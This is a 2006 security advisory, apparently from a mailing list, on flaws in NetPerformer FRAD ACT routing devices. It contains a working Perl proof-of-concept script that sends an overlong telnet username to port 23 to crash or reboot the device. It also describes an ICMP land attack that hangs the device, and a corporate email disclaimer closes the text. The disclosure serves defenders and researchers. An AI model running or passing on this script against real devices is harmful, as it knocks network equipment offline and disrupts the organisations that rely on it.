NetPerformer FRAD ACT Multiple Vulnerabilities

Credit: arif jatmoko
Risk: Medium
Local: Yes
Remote: No

NetPerformer Frame Relay Access Device (FRAD) ACT Multiple Vulnerabilities .<=[ Arif Jatmoko ]=>. Release Date : 8 July 2006 Product Affected : - NetPerformer FRAD ACT SDM-95xx version 7.xx (R1), earlier, and possibly newer - NetPerformer FRAD ACT SDM-93xx version 10.x.x (R2), earlier, and possibly newer - NetPerformer FRAD ACT SDM-92xx version 9.x.x (R1), earlier, and possibly newer - .... Web Site : =.[DESCRIPTION].= NetPerformer Frame Relay Access Device (FRAD) is switching & routing device that support Ethernet and SNA protocols, Voice, etc. This device mainly used for connecting distributed WAN network through frame relay or ATM network. =.[DETAILS].= 1. Telnet long username Buffer Overflow. Passing an overly long username (>4550 char) against telnet service causes device to reboot. Successful remote exploitation will possibly allows an attacker gaining access into the device. ================================== 00.^.00================================== # __START_CODE # #!/usr/bin/perl use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "23", Proto => "TCP")) { print "Modhiar'000 ..... killing netperformer ... $ARGV[0] port 23..."; sleep(1); print $socket "LOGIN " . "A" x 4550 . "BCDE\r\n"; sleep(1); print $socket "PASS " . "\r\n"; close($socket); } else { print "Cannot connect to $ARGV[0]:23\n"; } # __END_CODE ================================== 00.^.00================================== 2. ICMP Land Attack By sending specially crafted ICMP packets will causes the device to be hang up and resetting current TCP handshake connection. In earlier version possibly will make device to reboot. WORKAROUND No Workaround yet for this vulnerability. Vendor Response Status : Vendor response very slow since discovered the above vulnerabilities. Arif Jatmoko //=. Information System Security Officer Coca-Cola Bottling Indonesia ________________________________________________________________________ _______ Visit us at CAUTION: This message may contain privileged and confidential information intended only for the use of the addressee named above. If you are not the intended recipient of this message, you are hereby notified that any use, dissemination,distribution, or reproduction of this message is prohibited. If you have received this message in error, please notify Coca-Cola Bottling Indonesia immediately. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of Coca-Cola Bottling Indonesia.

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